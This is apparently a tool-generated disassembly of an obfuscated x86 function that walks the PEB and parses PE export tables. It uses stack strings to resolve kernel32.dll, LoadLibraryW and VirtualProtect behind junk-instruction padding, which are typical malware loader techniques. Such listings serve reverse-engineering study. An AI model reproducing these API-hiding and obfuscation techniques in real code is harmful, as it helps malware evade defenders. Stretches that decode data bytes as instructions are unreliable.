Function at 0x6186a2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push edi
push ebx
add esp, 4
xor edi, 0x2b23
jmp 0x616b85
or edi, 0xd382
and edi, 0xa001
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x616baa
mov dword [ebp - 0x2e0], 0
jmp 0x616e0a
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push ebx
add esp, 4
jmp 0x616bc2
pop eax
push ecx
xor ecx, 0x9b19
jmp 0x616bd3
add ecx, 0x108b5
pop ecx
push eax
add eax, 0x2927
sub eax, 0x17c13
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
jmp 0x616c1e
or eax, 0x12f07
sub eax, 0x6fa3
pop eax
push esi
push edi
add esp, 4
sub esi, 0xc761
pop esi
push edi
sub edi, 0x13a1e
pop edi
push edi
add edi, 0x941e
pop edi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
jmp 0x616ca9
pop ebx
push eax
sub eax, 0x13d90
pop eax
push esi
or esi, 0x1753
pop esi
push esi
push ecx
add esp, 4
jmp 0x616cc6
add esi, 0x156c8
add esi, 0xfa0d
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x616cf6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x616d59
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x616c15
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x616c15
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x616d43
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x616d4d
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x616da2
push eax
push ecx
add esp, 4
xor eax, 0xac85
and eax, 0x12563
sub eax, 0x2b61
or eax, 0x83d4
pop eax
push ecx
push edi
add esp, 4
or ecx, 0x148d1
pop ecx
push edi
or edi, 0x158b7
pop edi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x616e0a
push ecx
xor ecx, 0x15ef1
sub ecx, 0x13d3f
pop ecx
push ebx
push edi
add esp, 4
add ebx, 0xfc9a
add ebx, 0x1370
or ebx, 0x15cd4
pop ebx
push esi
push edi
add esp, 4
sub esi, 0xe368
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x616e00
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x616bb6
mov dword [ebp - 0x2e0], 0
push edi
sub edi, 0xec52
and edi, 0x549f
jmp 0x616e1f
add edi, 0x174a2
pop edi
push edi
add edi, 0x16109
add edi, 0xa1de
pop edi
push esi
add esi, 0x9c3d
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x617755
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
call 0x616eef
add byte [edx + 0x3c], al
dec ebx
inc eax
cmp al, 0x35
add esp, 4
pop ecx
push esi
sub esi, 0x12551
add esi, 0x1469e
jmp 0x616f07
pop esi
push ecx
push edi
add esp, 4
sub ecx, 0x10189
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
call 0x616fa4
add byte [edi], bh
aaa
cmp al, 0x41
cmp al, 0x48
cmp eax, 0xe804c483
pop es
add byte [eax], al
add byte [eax], al
xor eax, 0x3f3c3a3c
add esp, 4
jmp 0x616fbb
pop esi
push edi
push edi
add esp, 4
xor edi, 0xc8b5
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x616fe0
mov dword [ebp - 0x6ec], 0
jmp 0x61729c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
call 0x616fff
add byte [esi], dh
inc edi
xor edi, dword [ebx]
dec edx
inc edx
add esp, 4
sub ebx, 0x44ca
pop ebx
push ecx
or ecx, 0x13d7
sub ecx, 0x7417
jmp 0x61701d
sub ecx, 0x12da3
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x61703c
mov dword [ebp - 0x6ec], 0
jmp 0x61729c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
push eax
add esp, 4
call 0x61705d
add byte [edi + 0x36], al
aas
cmp dword [eax + ecx*2 + 0x37], ecx
xor al, byte [ecx + 0x4e]
add esp, 4
call 0x617070
add byte [ecx + 0x32], cl
dec ebp
inc eax
inc esp
aaa
dec edi
add esp, 4
sub ebx, 0x687b
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
add eax, 0x87aa
xor eax, 0x13fd
and eax, 0x64bd
jmp 0x6170c1
pop eax
push edi
push edi
add esp, 4
or edi, 0x83f7
jmp 0x6170d2
sub edi, 0x41e5
pop edi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
or eax, 0x120d2
sub eax, 0x11633
pop eax
push esi
push ecx
add esp, 4
xor esi, 0x7433
pop esi
push edx
push esi
add esp, 4
sub edx, 0xff00
sub edx, 0x15036
or edx, 0x1daf
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x617188
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x6171eb
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x6170a7
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x6170a7
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x6171d5
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x6171df
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x617234
push ebx
or ebx, 0x97ef
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x6973
add esi, 0xa4b4
call 0x61721c
add byte [ebx], bh
cmp eax, 0x474d4b49
inc esp
dec eax
inc ebp
add esp, 4
sub esi, 0x9892
pop esi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x61729c
push ebx
push ecx
add esp, 4
sub ebx, 0x123c3
xor ebx, 0x2359
add ebx, 0x7247
pop ebx
push edi
or edi, 0x13da9
pop edi
push ebx
push ebx
add esp, 4
or ebx, 0xe851
and ebx, 0x14327
pop ebx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x617292
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x617048
mov dword [ebp - 0x6ec], 0
push eax
push edx
add esp, 4
add eax, 0xaad3
sub eax, 0x3d6c
xor eax, 0x9b79
pop eax
push esi
push ebx
add esp, 4
and esi, 0xe7f9
jmp 0x6172c7
add esi, 0x1394d
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x617318
push edx
xor edx, 0x10fcf
sub edx, 0xab23
and edx, 0x1420
pop edx
push edi
push esi
add esp, 4
add edi, 0x3af0
and edi, 0x194
or edi, 0x18485
sub edi, 0x16ad7
pop edi
mov dword [ebp - 0x738], 0
jmp 0x617e3f
push esi
and esi, 0xe6f2
or esi, 0xc689
sub esi, 0xa079
and esi, 0xdaa6
pop esi
push edi
push ebx
add esp, 4
and edi, 0x14d82
xor edi, 0x17633
or edi, 0xdfe2
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x617389
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x61767a
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x6173b1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x61767a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x6173e3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x61767a
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x617408
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x61767a
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x617462
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x61766e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x6174d2
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x617584
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x617584
push edx
push esi
add esp, 4
sub edx, 0xf671
pop edx
push edi
push eax
add esp, 4
xor edi, 0x83ee
pop edi
push ebx
and ebx, 0x8eec
add ebx, 0x1278f
sub ebx, 0x5fe1
and ebx, 0x14b1f
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x617576
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x61757d
jmp 0x6174c3
jmp 0x617584
push ecx
xor ecx, 0x40f8
and ecx, 0x9785
or ecx, 0xdb47
call 0x6175a6
add byte [ebx + 0x43], cl
inc edx
cmp edi, dword [esp + eax*2]
inc ecx
inc ebp
xor eax, 0x5904c483
push esi
push edi
add esp, 4
or esi, 0x379a
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x6175e3
mov dword [ebp - 0xc30], 0
jmp 0x617652
push edi
push ecx
add esp, 4
or edi, 0x1786
pop edi
push ecx
or ecx, 0xba2
xor ecx, 0x70cf
sub ecx, 0x365
call 0x617611
add byte [ebp + 0x39], al
dec ecx
cmp eax, 0x4d3b4732
inc edx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x617648
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x617652
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x617669
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x61767a
jmp 0x617453
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x617755
push eax
and eax, 0x80b7
and eax, 0xa637
pop eax
push edx
jmp 0x61769b
pop edx
push esi
call 0x6176a9
add byte [ecx + 0x3d], al
aaa
inc ecx
cmp byte [ebx - 0x397efb3c], al
sbb edi, dword [edi]
add byte [ecx + 0xa720ce], al
add byte [esi - 0x75], bl
test dword [esp + edi*8], edi
invalid
push eax
or eax, 0xa949
add eax, 0x17a13
pop eax
push eax
jmp 0x617769
jmp 0x61776f
jmp 0x617778
xor eax, 0x1a3c
pop eax
push edi
or edi, 0x8a7e
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
xor esi, 0xaa82
xor esi, 0xcf69
pop esi
push ecx
push esi
add esp, 4
sub ecx, 0x13aba
pop ecx
push esi
push ebx
add esp, 4
add esi, 0xc265
pop esi
push edx
push eax
add esp, 4
or edx, 0x12b2a
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x6177f8
mov dword [ebp - 0x2e0], 0
jmp 0x617a9f
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
call 0x617819
add byte [esi], dh
inc eax
dec edx
inc edi
dec ebp
aas
aaa
add esp, 4
add edx, 0xe02c
jmp 0x617829
add edx, 0xad72
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x13756
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x617854
mov dword [ebp - 0x2e0], 0
jmp 0x617a9f
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
push ecx
add esp, 4
xor esi, 0x15488
pop esi
push ebx
or ebx, 0x150c5
add ebx, 0xbd40
pop ebx
push ecx
push ebx
add esp, 4
add ecx, 0x44a1
sub ecx, 0x17401
xor ecx, 0x8834
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
sub edi, 0x116d0
call 0x6178d2
add byte [edi + 0x35], cl
dec ebp
aas
dec eax
cmp dh, byte [0xc483404c]
add al, 0x81
out 0x4e, eax
pop es
add byte [eax], al
pop edi
push eax
push eax
add esp, 4
or eax, 0xbb1c
xor eax, 0x459a
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push ecx
add esp, 4
xor esi, 0x105b9
and esi, 0x1152d
add esi, 0xc77
pop esi
push edx
call 0x61796d
add byte [0x333f4140], dh
xor edi, dword [ebx]
inc edx
dec edx
add esp, 4
xor edx, 0xc9ba
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x617994
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x6179ee
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x6178bc
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x6178bc
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x6179d8
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x6179e2
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x617a37
push eax
push ebx
add esp, 4
or eax, 0xd44b
jmp 0x617a09
pop eax
push edi
jmp 0x617a12
or edi, 0xce2a
pop edi
push eax
xor eax, 0x325c
jmp 0x617a28
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x617a9f
push eax
xor eax, 0x16a5e
jmp 0x617a43
pop eax
push ecx
or ecx, 0x10e15
and ecx, 0xe064
pop ecx
push edi
push ecx
add esp, 4
sub edi, 0xa011
jmp 0x617a62
add edi, 0xc913
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x617a95
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x617860
mov dword [ebp - 0x2e0], 0
push esi
push ecx
add esp, 4
call 0x617ab0
add byte [edx + 0x43], al
cmp eax, 0x83424f44
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [edx + esi + 0x32], al
dec ecx
cmp byte [0x83454137], bh
les eax, [ecx + eax*4]
neg byte [edx]
push eax
add dword [eax], eax
jmp 0x617ad0
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ecx
or ecx, 0x1647f
and ecx, 0x145c1
xor ecx, 0xcae2
sub ecx, 0x13886
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x62ea
and edx, 0x1c1d
and edx, 0x11e2f
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x617b42
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x617e33
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x617b6a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x617e33
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x617b9c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x617e33
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x617bc1
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x617e33
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x617c1b
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x617e27
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x617c8b
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x617d3d
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x617d3d
push ebx
push ebx
add esp, 4
and ebx, 0x15a5c
and ebx, 0x99f1
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x57d1
sub esi, 0xfd59
pop esi
push esi
or esi, 0x8d99
and esi, 0x5bc5
pop esi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x617d2f
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x617d36
jmp 0x617c7c
jmp 0x617d3d
push eax
add eax, 0x878e
sub eax, 0x111b1
xor eax, 0x7e52
xor eax, 0xb5b1
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x15d99
xor ecx, 0xce78
and ecx, 0xd0d6
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x617d9c
mov dword [ebp - 0xc40], 0
jmp 0x617e0b
push ecx
push eax
add esp, 4
sub ecx, 0xf237
or ecx, 0xb0ee
pop ecx
push esi
push edi
add esp, 4
add esi, 0x16032
sub esi, 0xcfa5
pop esi
push eax
or eax, 0x5eaf
add eax, 0x1330a
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x617e01
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x617e0b
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x617e22
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x617e33
jmp 0x617c0c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push esi
push edx
add esp, 4
add esi, 0x1c7a
and esi, 0xceb5
and esi, 0x4848
pop esi
push ecx
call 0x617e64
add byte [edi + 0x34], cl
cmp dword [ecx + 0x33], ecx
push eax
add esp, 4
jmp 0x617e70
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ebx
call 0x617e8f
add byte [ebp + 0x4c], al
cmp al, byte [ebx + 0x34]
xor al, 0x4d
aas
add esp, 4
xor ebx, 0xd47a
pop ebx
push ebx
push eax
add esp, 4
jmp 0x617ea3
pop ebx
push edi
sub edi, 0xe50a
and edi, 0x1063c
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x617ec4
cmp dword [ebp - 0xa5c], 0
jne 0x617f0a
push edi
push ecx
add esp, 4
jmp 0x617ecf
or edi, 0x7cf3
or edi, 0x7fe4
pop edi
push eax
and eax, 0x72fd
xor eax, 0xbf29
sub eax, 0x9d35
add eax, 0x92
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
and eax, 0x62bf
and eax, 0x1edf
sub eax, 0x607
add eax, 0x12466
pop eax
push edx
push ecx
add esp, 4
and edx, 0xf9df
and edx, 0x37e0
and edx, 0x167c8
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push edx
add esp, 4
or ebx, 0x45d7
jmp 0x617f85
call 0x617f91
add byte [ebp + 0x49], cl
dec esi
xor al, 0x41
add esp, 4
add ebx, 0x5e7a
pop ebx
push ebx
sub ebx, 0xd28f
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push esi
add esp, 4
jmp 0x618017
and ebx, 0x14433
or ebx, 0xa3f1
pop ebx
push edi
sub edi, 0xea1b
add edi, 0x16bf8
pop edi
push edi
push edi
add esp, 4
sub edi, 0x15a5a
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
push eax
add esp, 4
call 0x618076
add byte [edx], dh
aaa
inc esp
inc ebx
cmp eax, dword [ebx + eax*4 - 0x3c]
add al, 0x81
mov byte [edi - 0x7efffe7e], 0xc6
mov ch, 0
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [ecx + ecx*2 + 0x4d], cl
xor eax, 0x46454043
add esp, 4
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x6180af
mov dword [ebp - 0x2a8], 0
jmp 0x618356
